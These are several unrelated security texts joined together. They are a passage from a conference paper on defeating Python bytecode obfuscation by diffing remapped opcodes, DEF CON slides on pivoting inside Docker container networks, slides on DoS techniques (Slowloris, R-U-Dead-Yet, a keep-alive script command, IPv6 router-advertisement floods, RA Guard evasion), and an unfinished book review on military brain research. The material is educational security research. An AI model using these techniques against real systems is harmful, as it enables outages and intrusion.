this a ʻmemory relationalʼ approach and a ʻfilesystem relationalʼ approach.
The memory relational approach takes an imported module object and inspects its attributes,
each attribute is then recursively inspected until a leaf node is reached. During this traversal each
method, function and generator have their code objects interrogated for bytecode with the
sourcecode hierarchy being based on the memory hierarchy.
The filesystem relational approach differs in that the filesystem location of the obfuscated
application is traversed looking for Python modules, once located they are imported and their
attributes inspected as with the previous approach. The sourcecode produced is reconstructed in
hierarchy based on that of the filesystem rather than running application. Fig 2 shows how the
different object types in Python relate to each other and to a bytecode representation. In general
the filesystem approach is more use, but only when access to the filesystem is available (see
section 6).
Fig 2. Python types and their relations
method:
im_func -> function:
func_code -> code:
co_code -> bytecode
gi_code -> code:
generator:
This approach works against all of the obfuscation techniques discussed except for the opcode
remapping approach. How to get access to usable bytecode that has been subject to opcode
remapping is discussed in the next section.
5.3 Opcode remapping circumvention
When opcode remapping has been used the content of the co_code object is obfuscated in the
same way as the bytecode on disk. Runtime access to the object has been achieved but this
does not actually gain very much leverage as the operations to which the bytecode pertains are
still opaque. To get to the point of being able to decompile such bytecode back to source a
slightly more complex approach is required.
As of Python 2.6.4 there are 119 defined opcode values from which all Python applications are
constructed. In order to be able to successfully decompile the remapped bytecode, the value of
each remapped Python opcodes needs to be deduced. As runtime access to the modified Python
has been achieved it can be used to help achieve the task of decoding via use as an oracle.
An opcode remapped runtime ships with the set of stdlib Python relied on by the application, and
possibly others. All of these files when compiled from the .py to .pyc also then have the
obfuscated bytecode in addition to any other obfuscation applied. However the advantage that is
available here is that they came from an already known source that is freely available.
This means that if two sets of bytecode can be produced for the same sourcecode, one standard
and one obfuscated, they can be diffed to yield the value to which each opcode has been
remapped. Of course it is unlikely that every Python opcode will be contained within a single
module so the exercise needs to be repeated across multiple modules until all opcodes have
been seen or there are no more stdlib modules left.
If opcode remapping has been used by itself the marshalled code objects in the .pyc files on disk
can be diffed for this purpose, if however other obfuscation has been used such a remarshalling
or encryption then the streams of bytecode need to be generated from a runtime context.
It is fairly straightforward to produce two equivalent streams of bytecode for diff analysis, the
following simplified process must be done twice – once in a stdlib runtime and once in the
modified runtime:
1. import a stdlib module
2. get access to an ordered list of its functions/methods/generators through the dir()
function
3. dump the bytecode from the co_code of each function
4. concatenate the function bytecode in the order of the dir() list
Even though such streams are not identical to the unmarshalled code object in a .pyc this does
not matter, all that matters are that the streams represent the bytecode in standard and
obfuscated form for the same functions. For the sake of clarity such ordered concatenations of a
modules functions bytecode will be termed .pyb files.
Once both sets of .pyb files have been generated it is simple to compare them one byte at a time.
As it is only the values of the opcodes themselves that have been remapped if the bytes
compared are the same it can be assumed that the byte represents an argument value to an
opocde. If the compared bytes differ it can be assumed that the values represent the remapping
of one opcode value to another. Fig 3 illustrates this with a simple example. The obvious caveat is
that if opcode remapping has been performed across only a subset of the opcodes some will
have the same values in both the standard and obfuscated opcode sets. In practise this is fairly
easy to detect and compensate for when the new opcode map is being created looking at the
bytes which follow the bytes being evaluated.
Once a new opcode value map has been created a new opcode.py can be created with the new
values. The obfuscated bytecode in the co_code objects is now able to be
disassembled/decompiled at will.
Fig 3. Simple worked example of bytecode streams with remapped opcodes being diffed
Take for example the following Python expression:
print “bugs”
In standard Python this compiles to the following series of Python Assembly instructions:
0 LOAD_CONST 0 ('bugs')
3 PRINT_ITEM
4 PRINT_NEWLINE
5 LOAD_CONST 1 (None)
8 RETURN_VALUE
These instructions in turn are represented by the following byte stream:
0x64, 0x0, 0x0, 0x47, 0x48, 0x64, 0x1, 0x0, 0x53
The bytecode produced by an opcode remapped modified runtime using the same sourcecode
input would produce a different byte stream, for example:
0x28, 0x0, 0x0, 0x19, 0x2e, 0x28, 0x1, 0x0, 0x12
Now if both of these byte streams are compared byte by byte, then it is easy to see that the
opcodes identify themselves as the bytes that are different and the arguments to the opcodes are
the bytes that are the same:
LOAD_CONST 0x64 -> 0x28
[ARG] 0x0
[ARG] 0x0
PRINT_ITEM 0x47 -> 0x19
PRINT_NEWLINE 0x48 -> 0x2e
LOAD_CONST 0x64 -> 0x28
[ARG] 0x1
[ARG] 0x0
RETURN_VALUE 0x53 -> 0x12
From this is it easy to see the values to which the 4 different opcodes have been remapped.
Continuing this process for other byte streams that are known to have been produced from the
same underlying source means that the opcode map can be built up to a point where a new
opcode.py can be produced for use by disassemblers and decompilers.
6. Reversing in ʻThe Cloudʼ
Software that is delivered as a service is a trend that has been increasing over the last few
years, the term ʻcloudʼ has also been increasingly (mis)used to describe many of the systems and
services providing such software. While a general discussion about this trend and the associated
hype and spin is beyond the scope of this paper, general points about the impact of this on
reverse engineer may not be.
As the separation between user and software continues to increase, it is not inconceivable to
imagine a time when a user will not have access to the application they are using files. At this
point of the traditional approaches to reverse engineering fall down and the understanding of the
inner workings of an application take on the form of a blackbox web assessment. However, being
able to take an object from running memory and get to a sourcecode representation of it helps to
shift things back into the domain of the reverse engineer. This is where the memory relational
reconstruction approach becomes useful, as there is no filesystem structure to relate things to.
Granted the usefulness of this depends on the role of the application and how the application is
exposed in ʻa cloudʼ, as well as the amount of access a user has to interact with it. The higher-
level takeaway from this though is that even if an applicationʼs files are not available to a user, it
may be possible in high interaction services that allow for programmatic interaction through a
language such as Python that the source will be obtainable. This is an area that is interesting and
will hopefully be explored more fully in future. For now consider this an interesting side benefit of
techniques developed to solve a different set of problems.
7. pyREtic – a proof of concept toolkit
/paɪˈrɛt ɪk/ - [pahy-ret-ik]
defn: –adjective
of, pertaining to, affected by, or producing fever.
The principles & techniques that have been described in this paper have been embodied into a
proof of concept toolset named pyREtic that will be released at Black Hat. The decompilation part
of the toolset relies on a modified version of the freely available UnPyciii decompiler that is able to
take unmarshalled bytecode from memory or dumped .pyb files and produce .py sourcecode. It
also includes a number of bug fixes to the UnPyc project that will be contributed back into the
project. However the techniques discussed should be just as applicable to any Python decompiler
which can be modified to expect .pyb style bytecode rather than the marshalled .pyc format.
Tools to be able to determine the values of remapped opcodes in modified runtimes are also
included. There are also various extensions to the standard pdb module that make it more use for
dynamic analysis and reverse engineering when the sourcecode files are not available. This will
enable people to analyse Python applications that were previously opaque to them in order to
make assessments about their security.
The toolkit will be made available from the Immunity Inc websitexix.
8. Future Directions
The work discussed will be extended in future to address any new anti-reversing techniques that
may develop. The toolkit will be developed to both improve the accuracy of decompilation that is
provided by UnPyc, as well as the intelligence with which the constituent parts of an in memory
module are reconstructed into a whole in the form of sourcecode. The toolkit will be freely
available, with members of the community being encouraged to modify it as required to meet their
needs.
Up until now only CPython in the 2.x branch has been examined with respect to reverse
engineering, as this is the currently most popular choice with application developers and where
the need for such abilities lay. There is no reason however that as and when the need arises the
concepts discussed should not be extended to the CPython 3.x branch, or indeed another Python
implementation entirely such as Jythonxx or IronPythonxxi etc.
A general area of interesting research is also how to evaluate software and reverse it back to
source when its files are not locally accessible, this is as true for other languages as well as
Python. Future work will be conducted into the various systems where limited access to Python or
a subset of it is provided to work with on a remote computing resource. The possibilities regarding
the reversing and assessment of such environments will be looked at in light of the work
discussed and the possibilities it raises for the acquisition of sourcecode from an instantiated
object.
9. Conclusion
A generic set of techniques has been discussed, and a proof of concept embodiment of them
implemented to bypass the anti-reversing techniques for Python applications that were commonly
found at the time of writing. The problem of decompilation of bytecode back to sourcecode was
moved from the traditional static approach where files on disk were analysed, to a dynamic
approach where the application in its running state was interrogated. This created a situation
where the application itself had already removed the protections it had put in place, or through
access to its running context provided a means to defeat those that were remaining. Through the
use of the proof of concept implementation a user is now able to go from an in-memory object to
Python sourcecode representation of that object in a relatively easy manner.
Not only have the mechanisms in common use for protecting downloadable closed source and
commercial Python applications from being reverse engineered been reduced, but an important
first step taken into reversing Python ʻsoftware as a serviceʼ applications delivered even without
access to their files.
Code that was once opaque to its users is now open to inspection, evaluation and risk analysis –
so stop reading, go forth and find the bugs!
Revision History:
1.0 - 30 June 2010 – Initial version for BlackHat Vegas 2010 & Defcon 18
References:
i
http://www.python.org
ii
http://docs.python.org/library/dis.html#bytecodes
iii
http://unpyc.sourceforge.net
&
http://code.google.com/p/unpyc/
iv
http://users.cs.cf.ac.uk/J.P.Giddy/python/decompiler/decompiler.html
v
http://sourceforge.net/projects/decompyle/
vi
http://www.crazy-‐compilers.com/decompyle/
vii
http://depython.net/
viii
http://docs.python.org/library/dis.html
ix
http://docs.python.org/library/pdb.html
x
http://www.py2exe.org/
xi
http://svn.pythonmac.org/py2app/py2app/trunk/doc/index.html
xii
http://cx-‐freeze.sourceforge.net/
xiii
http://docs.python.org/library/marshal.html
(Paragraph
1)
xiv
http://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html
xv
http://svn.python.org/view/python/trunk/Python/import.c?view=markup
xvi
http://bitboost.com/#Python_obfuscator
&
http://pawsense.com/python..obfuscator/
(online
demo)
xvii
http://code.python.org/hg/trunk/file/a9ad497d1e29/Lib/opcode.py
xviii
http://docs.python.org/library/inspect.html
xix
http://www.immunityinc.com/resources-‐freesoftware.shtml
xx
http://www.jython.org/
xxi
http://ironpython.net/ | pdf |
An Attacker Looks At Docker
Approaching Multi-Container Applications
Wesley McGrew, Ph.D.
Director of Cyber Operations
HORNE Cyber
[email protected] @mcgrewsecurity
My Background
• Ph.D. Computer Science – Mississippi State University
• Academia
• NSA CAE – Research, Education, Cyber Operations – MSU
• Industrial Control Systems – Human-Machine Interfaces
• Research & Education - Reverse Engineering & Malware Attribution
• Private
• Director of Cyber Operations – HORNE Cyber
• Computer Network Operations – CNO/CNE/CAN
• Penetration testing, red teaming, application security
• Operational security of testing engagements
Intentions
• …to make a strong point about the relationship between an attacker’s skill
set (and its development over time) vs. developer trends.
• How to leverage what you already know
• How to look at learning new technologies moving forward
• …to provide a hacker experienced in exploitation and post-exploitation of
networks of systems an exposure to applications composed of multiple
containers
• Exploring application internals
• …with concrete Docker examples that leverage common practices (those in
tutorials and intuitive/naïve usage)
• Inspiration concept/approach –
HD Moore/Valsmith DEF CON 15 Tactical Exploitation
• Target audience – Attackers – Pentest, Red Team, CNE, CNO
Prior Art in Docker
• David Mortman, Docker, Docker, Give Me the News, I Got a Bad Case of Securing
you, DEF CON 23
• Underlying implementation and architecture
• Aaron Grattafiori, Understanding and Hardening Linux Containers, DEF CON 23
• Kernel capabilities and advice for low-level security
• Docker documentation
• Current state: a lack of “default on”
• Anthony Bettini, Vulnerability Exploitation in Docker Containers, Black Hat Europe
2015
• Platform vulnerabilities
• Michael Cherney and Sagie Dulce, Well, That Escalated Quickly! How Abusing
Docker API Led to Remote Code Execution, Same Origin Bypass and Persistence in
The Hypervisor via Shadow Containers, Black Hat USA 2017
• Targeting developers
Containerization & Docker
• Operating-system-level virtualization
• As an attacker, you’re almost certainly already aware of hardware/platform
virtualization
• “Lighter” virtualization
• Shared kernel
• Multiple user-space
• Filesystems
• Libraries
• Networks
• Docker – Images, Containers, high level composition into applications
• Development
• Deployment
Vulnerabilities & Layers of Abstraction
• Vulnerability Life Cycle
• Doesn’t begin with discovery
• Begins with a mistake
• Everything is an abstraction on top of
physical properties of silicon
• Vulnerabilities are often a result of not
understanding the layer(s) underneath
you. Examples:
• Web application vulnerabilities
• Memory corruption and memory models
• …or the “magic box” itself is broken
The Magic Box
User Experience
Scripting Languages & OS services
High-level languages and OS APIs
Machine code and Virtual Memory
How Does a Hacker Keep Up?
• For your target, you don’t get to dictate the attack surface and
underlying environment:
• Language
• Protocols
• Platforms & Frameworks
• Two dimensions of gap in skills
• Layers of abstraction
• Specifics of technology (above)
Technologies
Layers of Abstraction
JavaScript
PHP
Python
C/C++
Assembly/Machine Code
Microcode
Digital Logic
REST
HTTP
TCP
Physical medium
Ethernet WiFi
IPV4/V6
Movement and Abstraction in Development
• From lowest to highest-level abstraction in web application
development processes
CGI
Binaries
Scripts
Web-Specific
Languages
Frameworks
Client-side + APIs
Next-Level Abstraction - Containerization
CGI
Binaries
Scripts
Web-Specific
Languages
Frameworks
Client-side + APIs
CGI
Binaries
Scripts
Web-Specific
Languages
Frameworks
Client-side + APIs
CGI
Binaries
Scripts
Web-Specific
Languages
Frameworks
Client-side + APIs
Mindset after you learn “Hello World”…
What can I build with these language constructs?
vs
How does “Hello World” work?
Movement and Abstraction for Hackers
• As an individual or small team you’ll approach and become familiar
with an increasingly large number of software projects
• …with more developers than an average CNE/CNA team
• Abstraction allows for more efficient development
• Higher level technologies
• Layers that “take care” of things for you
• Lower-prerequisites for developers
• Building block containers of mixed-technology software combined to make an
application VS writing it in a monolithic style at a lower level
• What does this mean?
Movement and Abstraction for
Developers vs. Hackers
Average
Developer
Work
Typical Hacker
Skill
Development
Abstraction
Good news: Becomes more lucrative over time
Natural – “How does X work?”
More ‘interesting’ bugs
Becomes more important
New bug classes
Less-than-good news: Needs purposeful development/training
Application to Attacking Application Internals
• Control over execution – opportunity to turn code against itself
• Ex. – Malware analysis, ROP, Web API’s, CSRF
• Skillset – Penetration tester vs. Application security expert
• External vs. internal application attack surface
• Penetration tests less-often involve new “creative” control over
execution in monolithic binary applications
• Pentester training gap
• Basic understanding of memory corruption – introductory and conceptual
• Targeted on understanding tool use
• Not sufficient to target modern applications/environments
• vs. motivated, funded, organized attackers that have developed talent
A Useful Shift for Attackers
• Containerization allows for the design of applications
that are composed of many independent single-
purpose services.
• Democratizing post-exploitation manipulation and
instrumentation
• Observing and instrumenting program flow/data
• Monolithic - Language/platform-specific knowledge/tools
• Multi-container – Leveraging system/network-level post-
exploitation and sniffing tools
Taking Advantage of Abstraction
• Organization-wide attack
• Progression/change of compromising connected
systems
• Multi-container applications have their own
networks (possibly shared with other
applications)
• The test of an application becomes a microcosm of
an organization-wide test
• The same would happen with traditional
virtualization, but it’ll be more common with
containers: light and easy
Taking Advantage of Abstraction
• Exploitation of multi-container attack surface
will begin with specific software in one
container
• Post-initial-exploitation, access to an internal
network of the rest of the containers, services,
data, and protocols.
• Leveraged by the usual tools you already have
familiarity with as a penetration tester.
• Analogous to
hooking/examination/instrumentation of
monolithic application
Docker as a Target Application Platform
• Monolithic container applications
• Ease of deployment
• Multi-container applications
• Docker container networks
• Default shared between containers
• Configurations define which ports are “published” or shared to the
outside world through the host.
• Inside the network, containers may freely scan/connect/probe
Basic Exploration of Docker
Container Applications
Quick connectivity check from one container to another, without the
target container being explicitly configured to allow the connection
Implications
• Access through conventional exploits place attackers into an internal
network with opportunity to pivot
• Familiar territory for attackers with system/network-level attack
experience
• Limits: “Living off the land” is more challenging due to minimalistic
images
• Learn to identify – You may not realize you’re inside of a Docker
container network until you’ve exploited the external attack surface
of it.
Exploitation and Post-Exploitation of a
Multi-Container Application
Externally, with Kali & Metasploit:
Leveraging an older Joomla in the Docker Hub repositories
Pivoting to manipulation of multi-container voting application (from
Docker tutorials)
Take-Aways
• Existing offense skills become useful at a lower relative position of
abstraction relative to newer applications.
• Developers are moving up, the new “low level” moves up
• Important to update yourself. Work “up” the stack as well.
• New development practices such as multi-container application composition
• Chase a trendy technology and look at the attack surface
• Containerization represents an opportunity for attackers to leverage
existing network/system-level knowledge to explore the internals of
applications that are composed of multiple containers.
• Your existing skills are moving “down” the stack relative to where applications
are being developed, and you can take advantage of it.
Discussion &
Contact Information
Whitepaper available in conference materials, with
more references and resources.
Wesley McGrew
Director of Cyber Operations
HORNE Cyber
[email protected]
@mcgrewsecurity | pdf |
Three Generations of DoS
Attacks
(with Audience Participation, as
Victims)
Defcon, 2011
Bio
Summary
• The DoS Circus
• Layer 4 DDoS: Thousands of attackers
bring down one site
• Layer 7 DoS: One attacker brings
down one site
• Link-Local DoS: IPv6 RA Attack: One
attacker brings down a whole network
The DoS Circus
Characters
Wikileaks
• Published <1000 US Gov't
diplomatic cables from
a leak of 250,000
• Distributed an encrypted "Insurance" file by
BitTorrent
• Widely assumed to contain the complete,
uncensored leaked data
• Encrypted with AES-256--no one is ever getting in
there without the key
• Key to be released if Assange is jailed or killed,
but he is in UK now resisting extradition to
Sweden and the key has not been released
Anonymous
Operation Payback
• 4chan's Anonymous group
• Attacked Scientology websites in 2008
• Attacked the RIAA and other copyright
defenders
• Using the Low Orbit Ion Cannon with
HiveMind (DDoS)
• "Opt-in Botnet"
HB Gary Federal
• Aaron Barr
• Developed a questionable
way to track people down
online
• By correlating Twitter,
Facebook, and other
postings
• Announced in Financial
Times that he had located
the “leaders” of
Anonymous and would
reveal them in a few days
Social Engineering & SQLi
•
http://tinyurl.com/4gesrcj
Leaked HB Gary Emails
• For Bank of America
– Discredit Wikileaks
– Intimidate Journalist Glenn Greenwald
• For the Chamber of Commerce
– Discredit the watchdog group US Chamber
Watch
– Using fake social media accounts
• For the US Air Force
• Spread propaganda with fake accounts
•
http://tinyurl.com/4anofw8
Drupal Exploit
Th3j35t3r
• "Hacktivist for Good"
• Claims to be ex-military
• Originally performed DoS attacks on Jihadist
sites
• Bringing them down for brief periods, such
as 30 minutes
• Announces his attacks on Twitter, discusses
them on a blog and live on irc.2600.net
Jester's Tweets from Dec 2010
Th3j35t3r v. Wikileaks
• He brought down Wikileaks single-handed
for more than a day
– I was chatting with him in IRC while he
did it, and he proved it was him by
briefly pausing the attack
Wikileaks Outage
• One attacker, no botnet
Th3j35t3r
• After his Wikileaks attack
• He battled Anonymous
• He claims to have trojaned a tool the Anons
downloaded
• He claims to pwn Anon insiders now
Jester's Tweets
Westboro Baptist Outage
• 4 sites held down for 8 weeks
• From a single 3G cell phone
– http://tinyurl.com/4vggluu
LulzSec
• The skilled group of Anons who
hacked H B Gary Federal
• Hacked
– US Senate
– Pron.com
– Sony
– FBI
– PBS
– Fox News
LulzSec Attacks on Government
Sites
• FBI, CIA, US Senate
• UK's National Health Service
• SOCA, the UK's Serious Organised Crime
Agency taken down 6-20-2011
Two Factor Authentication
• First factor: what user knows
• Second factor: what user has
– Password token
– USB key
– Digital certificate
– Smart card
• Without the second factor, user
cannot log in
– Defeats password guessing / cracking
RSA was Hacked, and their Customers Too
• http://samsclass.info/RSA-alternatives.html
Layer 4 DDoS
Many Attackers – One Target
Bandwidth Consumption
Companies that Refused Service to
Wikileaks
• Amazon
• Paypal
• Mastercard
• Visa
• Many others
Low Orbit Ion Cannon
• Primitive DDoS Attack, controlled via IRC
• Sends thousands of packets per second from
the attacker directly to the target
• Like throwing a brick through a window
• Takes thousands of participants to bring down
a large site
• They tried but failed to bring down Amazon
Low Orbit Ion Cannon
Operation Payback v. Mastercard
• Brought down Visa, Mastercard, and many
other sites
– Easily tracked, and easily blocked
– High bandwidth, cannot be run through
anonymizer
– Dutch police have already arrested two
participants
Mastercard Outage
3,000 to 30,000 attackers working together
Layer 7 DoS
One Attacker – One Target
Exhausts Server Resources
Layer 7 DoS
• Subtle, concealable attack
• Can be routed through proxies
• Low bandwidth
• Can be very difficult to distinguish from
normal traffic
HTTP GET
SlowLoris
• Send incomplete GET
requests
• Freezes Apache with
one packet per second
R-U-Dead-Yet
• Incomplete HTTP POSTs
• Stops IIS, but requires thousands of
packets per second
Keep-Alive DoS
• HTTP Keep-Alive allows 100 requests in a
single connection
• HEAD method saves resources on the
attacker
• Target a page that is expensive for the server
to create, like a search
– http://www.esrun.co.uk/blog/keep-alive-dos-script/
• A php script
– pkp keep-dead.php
keep-dead
XerXes
• Th3j35t3r's DoS Tool
• Routed through proxies like Tor to hide the
attacker's origin
• No one knows exactly what it does
• Layer 7 DoS?
XerXes
Link-Local DoS
IPv6 Router Advertisements
IPv4: DHCP
PULL process
Client requests an IP
Router provides one
Host
Router
I need an IP
Use this IP
IPv6: Router Advertisements
PUSH process
Router announces its presence
Every client on the LAN creates an address and joins
the network
Host
Router
JOIN MY NETWORK
Yes, SIR
Router Advertisement Packet
RA Flood
Windows Vulnerability
• It takes a LOT of CPU for Windows to process
those Router Advertisements
• 5 packets per second drives the CPU to 100%
• And they are sent to every machine in the LAN
(ff02::1 is Link-Local All Nodes Multicast)
• One attacker kills all the Windows machines on
a LAN
• FreeBSD is also vulnerable!
– But not OpenBSD, of course
Responsible Disclosure
• Microsoft was alerted by Marc Heuse on July 10, 2010
• Microsoft does not plan to patch this
• Juniper and Cisco devices are also vulnerable
• Cisco has released a patch, Juniper has not
Defenses from RA Floods
• Disable IPv6
• Turn off Router Discovery
• Block rogue RAs with a firewall
• Get a switch with RA Guard
RA Guard Evasion
• Add "Fragmentation Headers" to the RA
Packets
– http://samsclass.info/ipv6/proj/RA-evasion.html
Fragmentation Headers
Defending Websites
Attack > Defense
• Right now, your website is only up
because
– Not even one person hates you, or
– All the people that hate you are ignorant
about network security
Defense
• Mod Security--free open-source defense
tool
• Latest version has some protections
against Layer 7 DoS
• Akamai has good defense solutions
• Caching
• DNS Redirection
• Javascript second-request trick
Load Balancer
• Proxy servers
• Conceals your server's IP address
• Blocks attacks using information from other
attacks
• Free version
• Effective against th3j35t3r in real combat
Counterattacks
• Reflecting attacks back to the command &
control server
• Effective against dumb attackers like
Anonymous' LOIC
– Will lose effect if they ever learn about
Layer 7 DoS, which is happening now
References
References
Anonymous Takes Down U.S. Chamber Of Commerce And
Supporter Websites
http://goo.gl/Mue9k
Slowloris HTTP DoS
http://ha.ckers.org/slowloris/
OWASP HTTP DoS Tool
http://code.google.com/p/owasp-dos-http-post/
Mitigating Slow HTTP DoS Attacks
http://blog.spiderlabs.com/2010/11/advanced-topic-of-the-
week-mitigating-slow-http-dos-attacks.html
‘Tis the Season of DDoS – WikiLeaks Edition (Outage charts)
http://goo.gl/V5jZc
References
ModSecurity
http://goo.gl/56hbl
Akamai DDoS Report
http://baythreat.org/MichaelSmith_DDoS.pdf
How Secure Is Julian Assange's "Thermonuclear"
Insurance File?
http://goo.gl/sY6Nn
Overview of Anonymous and their attack on MasterCard:
http://goo.gl/lVsCD
Operation Payback Toolkit: LOIC and HiveMind
http://pastehtml.com/view/1c8i33u.html
References
r-u-dead-yet
http://code.google.com/p/r-u-dead-yet/
Keep-Alive DoS Script
http://www.esrun.co.uk/blog/keep-alive-dos-script/
Router Advertisement DoS in Windows
http://samsclass.info/ipv6/proj/flood-router6a.htm
RA Guard Evasion
http://samsclass.info/ipv6/proj/RA-evasion.html
XerXes Attack Video
http://goo.gl/j8NQE | pdf |
A Review of Mind Wars: Brain Research and National Defense
By Jonathan D. Moreno
Dana Press (The Dana Foundation: New York and Washington DC)
2006
by
Richard Thieme
“What we don’t know is so much bigger than we are.”
A Haitian Proverb
Oh, how I wish that reviewing a book like this were simple and straightforward!
That would mean we live in a world of transparency, government accountability to
citizens, easy access to sources, primary sources willing to go on the record, and data
trails that lead readers to those same sources so everyone can see for themselves.
But alas, we do not live in such a world.
“Mind Wars” is a broad but necessarily incomplete overview of neuroscience,
nanotechnology and related areas applied to the arts of war, with an examination of
ethical issues raised by this work, all considered in a historical context by a scholar who
has researched the field.
The key to decoding the book, however, is on page 4 of the introduction.
“I am no loose cannon,” writes Jonathan D. Moreno, Ph. D., the Emilie Davie and
Joseph S. Kornfeld Professor and Director of the Center for Biomedical Ethics at the
University of Virginia. “I am deeply entrenched in the non-threatening, even boring,
academic establishment. I’ve taught at major research universities, hold an endowed chair
at an institution not known as a hotbed of radicalism …” and on the disclaimer goes, a
plea to the reader to recognize that the author is no kook, no “conspiracy theorist,” but a
respectable, conventional man.
Moreno sounds those notes again, on p. 107, for example, when he states that he
has considerable “experience with government—on the staffs of presidential advisory
committees, in [giving] congressional testimony, and so forth.”
Those qualifications define the subtext of this work and in many ways the subtext
is the primary content. They also suggest one reason why the exploration of the frontiers
of military research and development and the penetration of the military-industrial-
academic-scientific-media complex is so difficult these days. Insiders know but can’t tell;
outsiders can tell, but don’t often know, and when they do know, ridicule and other forms
of disinformation can make what they know seem like fanciful speculation. So they err
on the side of extreme caution.
Jonathan Moreno is qualified, without a doubt, to survey what is in the public
domain about neuro-weapons and diverse applications of numerous branches of research
that blur the distinctions between government, military, and medical, technological and
scientific research, and he is also qualified to discuss the ethical implications of this
research. So why does he need to insist that he is qualified? Because black budget
(clandestinely funded) science and technology is so large a percentage of all scientific
R&D and so hidden from public view that even to approach the subject is to enter a force
field of distortion and paranoia. One might as well explore UFOs or time travel—
domains of actual research, in fact, but which must be discussed with a wink or, as
Moreno’s disclaimers indicate, the trumpeting of one’s credentials, above all credentials
of character—respectability and conventionality—so that one is not marginalized by the
mere fact that one has chosen to explore the domain.
Inevitably, researchers of exotic technologies experience a condition called
“strangeness,” a kind of cognitive dissonance, and have to push against it to reestablish
clear boundaries.
Why has this come about?
Because a national security state has evolved since World War 2 and is now the
water in which we all swim. Moreno describes the history of that evolution and shows
that a great deal of research, including research in the behavioral sciences, has been
determined by a perception of military necessity. Access to the research is determined by
the “need to know” and most readers of this book are “outsiders.” Moreno himself is an
insider of sorts, having served as an expert for numerous government venues, but his
credibility depends on continued access and access depends on behaving rightly. Saying
the right things in the right way defines correct behavior; hence disclaimers that distance
him from fringe thinkers without institutional support or structural authority, like this
reviewer.
Steven H. Miles, M.D., the author of “Oath Betrayed/Torture, Medical
Complicity, and the War on Terror,” states that he is often asked if he fears for his life
because he discussed public documents, thirty five thousand pages of them, which reveal
that medical complicity. That he is even asked such a question, Miles says, “is an
epiphenomenon of being a torturing society. A torturing society is a society that is
abraded by the process of dehumanization. In that process, we essentially create our own
mirrored netherworlds."
A mirrored netherworld is exactly what is signified by Moreno’s repeated
insistence on credentials that ought to be obvious. His netherworld is a force field of
distortion that attends any venture through the looking-glass of security clearances to
explore areas that are exotic, dangerous, and mostly secret. That force field is an
epiphenomenon of the national security state.
Moreno’s history of post-WW2 research begins with identifying the
transformation of America into a “garrison state,” a nation that views the world as a
dangerous place that requires the United States to project power everywhere in and
increasingly out of the world to be secure. National Security Council document NSC-68,
published in 1950, defined this strategy which is still pursued today. “It is mandatory that
in building up our strength, we enlarge upon our technical superiority by an accelerated
exploitation of the scientific potential of the United States and our allies," the document
states. Currently, academic research receives several billion dollars a year, with MIT
receiving half a billion, the largest single share. Much of the research is dual use, with
commercial as well as military applications, but would not have been funded were it not
for the latter.
“Mind Wars” surveys current research that has come to light. I was not surprised
by any of the details of this book, although someone with less of a fetish for the subject
might well be.
2
Moreno asks what novel ethical questions are raised by the emergence of new
applications for war which will alter human identity by modifying memory, cognition,
and core physical, emotional and spiritual capabilities. The enhancement of cognitive
processes such as memory, for example, raises questions about why we evolved as we
have. We forget things for good reasons—it is not helpful to be tormented, and our brains
would be overwhelmed if we remembered everything, including masses of irrelevant
data. Near-total recall would pose new problems as would enhancement of affective
processes related to religious experience—e.g., how many mystics do we need?
Evolution of the species suggests that a few mystics per thousand are plenty. But if
genetic, chemical, and technological enhancements can trigger mystical experiences,
might too many people bliss out in ecstatic contemplation of the One? Would too many
of us become mice pressing buttons connected to pleasure centers and die happily rather
than eat? Would enhancements of memory and cognition give an unfair advantage to the
children of the rich much as steroids give big-headed baseball players the ability to hit the
long ball?
Moreno was hampered in his research because many scientists “clammed up”
when asked about their work which means that we can only speculate about many of the
projects. Their silence means that while we know we don’t know, we don’t know what
we don’t know. Hence, cognitive dissonance.
That dissonance never left as I read this book. It’s what happens when I read the
fiction of Philip K. Dick. Dick no longer reads like speculative science fiction smacking
of paranoia because the landscape he describes is the world we now inhabit, a moebius-
strip world in which distortions feed back into the perception of everyday life. The world
we encounter in “Mind Wars” is like the world in Dick’s “A Scanner Darkly,” in which a
policeman discovers that the subject he pursues is himself. In “Mind Wars,” Moreno is a
participant in the world he describes as well as an objective observer; the edge of the
glass curves and returns a distorted image.
His own emotions, for example, when he communicates the shock of certain
discoveries, transform his feelings into subject matter the reader must consider. He
communicates his surprise when he learned that Ted Kaczynski, the Unabomber,
participated in “a Harvard study aimed at psychic deconstruction by humiliating
undergraduates and thereby causing them to experience severe stress.” (p. 69) Moreno
does not simplistically attribute all of Kaczynski’s behaviors to this event, but he does
speculate on the impact of “a psychological experiment that … involved psychological
torment and humiliation that could have left deep scars” over a period of three years.
I had a similar reaction when I learned of a formative episode in the life of Donald
Defreeze, a.k.a. Cinque, leader of the Symbionese Liberation Army. DeFreeze and other
members of the SLA kidnapped Patty Hearst and subjected her to brainwashing using
classical mind control techniques. It is seldom asked how DeFreeze learned to brainwash
so effectively. Colin A. Ross, M.D. in “Bluebird,” a study of the deliberate creation of
multiple personalities, notes that DeFreeze, while an inmate at Vacaville State Prison,
was “a subject in an experimental behavior modification program run by Colston
Westbrook, a CIA psychological warfare expert and advisor to the Korean CIA.”
(Bluebird, p.212). Westbrook returned to the United States from working undercover in
Viet Nam and “entered Vacaville State Prison under cover of the Black Cultural
3
Association and there designed the seven-headed cobra logo of the SLA and gave
DeFreeze his African name, Cinque.” (Bluebird, p. 212)
The accounts of both Kaczinski and DeFreeze suggest that their crimes might
have been “blowback,” unintended consequences of covert intelligence operations that
rebound on perpetrators.
If those accounts were not public, however, and we speculated in that vein about
DeFreeze and Kaczinski, it would be easy to dismiss our speculation as “conspiracy
theories” or sloppy thinking. We know those two accounts are not the only experiments
that might have backfired, but prudence suggests we not extrapolate from the known
data, lest we be ridiculed. That’s what respectability in a world of strangeness requires.
But in light of those accounts, it is not unreasonable to ask, what other rough beasts have
slouched out of covert research to be born?
So there is often a disconnect between the history that we know and discussions
of current research sanitized by willful innocence. This is crazy-making. I understand
why Moreno does not want to be found on the wrong side of the looking glass. Yet
Moreno wrote an excellent history of how “informed consent” evolved from the horrors
of our own history. There is a parallax view of the stick of history which enters the water
but seems to be discontinuous rather than a straight line. The distance of a historical
account disinfects the moral dimension of events; we may be shocked when we read of
the torturous experiments of Ewen Cameron and Sidney Gottleib, for example, doctors
who participated in MKULTRA, a series of CIA experiments with hallucinogenic drugs,
electric shock, and sensory deprivation, but because those experiments ended in the
seventies, they read like scripts for a horror movie instead of a daily newspaper.
Moreno’s discussion of ethical issues is similarly sanitized and sane, appropriate
to the seminar room on a college campus, with its warmth, light, and comfortable chairs,
